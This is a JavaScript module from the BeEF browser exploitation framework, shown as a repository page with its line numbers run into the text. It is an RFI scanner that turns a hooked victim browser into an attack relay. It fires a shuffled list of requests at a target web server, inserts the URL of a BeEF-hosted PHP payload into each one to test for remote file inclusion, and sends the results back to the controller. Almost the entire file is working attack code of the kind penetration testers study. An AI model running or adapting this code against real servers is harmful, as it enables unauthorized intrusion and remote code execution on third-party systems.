Path: blob/master/modules/exploits/rfi_scanner/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var rproto = '<%= @rproto %>';9var rhost = '<%= @rhost %>';10var rport = '<%= @rport %>';11var base_dir = '<%= @base_dir %>';12var payload_url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/rfi_php_<%= @command_id %>.txt?';13var target = rproto + '://' + rhost + ':' + rport + base_dir;14var wait = '<%= @wait %>';1516get_url = function(uri) {17try {18var xhr = new XMLHttpRequest();19var rfi = uri.replace(/XXpathXX/g, payload_url);20xhr.open('GET', target+rfi, true);21xhr.onload = function () {22};23xhr.onreadystatechange = function () {24if (xhr.readyState == 4 && xhr.status == 200) {25beef.debug("[command #<%= @command_id %>] Response: " + xhr.response);26}27}28xhr.send(null);29} catch (e){30beef.debug("[command #<%= @command_id %>] Something went wrong: " + e.message);31}32}3334// add scripts to queue35var requests = new Array(36<%=37scripts = []38File.open("#{$root_dir}/modules/exploits/rfi_scanner/rfi.txt", 'r') do |file_handle|39file_handle.each_line do |line|40uri = line.chomp!41next if uri =~ /^#/42next if uri.nil?43next if uri !~ /XXpathXX/44scripts << "'#{uri.gsub("'", "\\\\'")}'"45end46end47scripts.shuffle.join(",\n")48%>49);5051// process queue52beef.debug("[command #<%= @command_id %>] Starting RFI scan of "+target+" ("+requests.length+" URLs)");53beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)");54var timeout = wait * requests.length + 10;55var handle = setInterval(function() {56if (requests.length > 0) {57get_url(requests.pop());58} else cleanup();59}, wait*1000);6061// clean up62cleanup = function() {63if (handle) {64beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");65clearInterval(handle);66handle = 0;67beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");68}69}70setTimeout("cleanup();", timeout*1000);7172});737475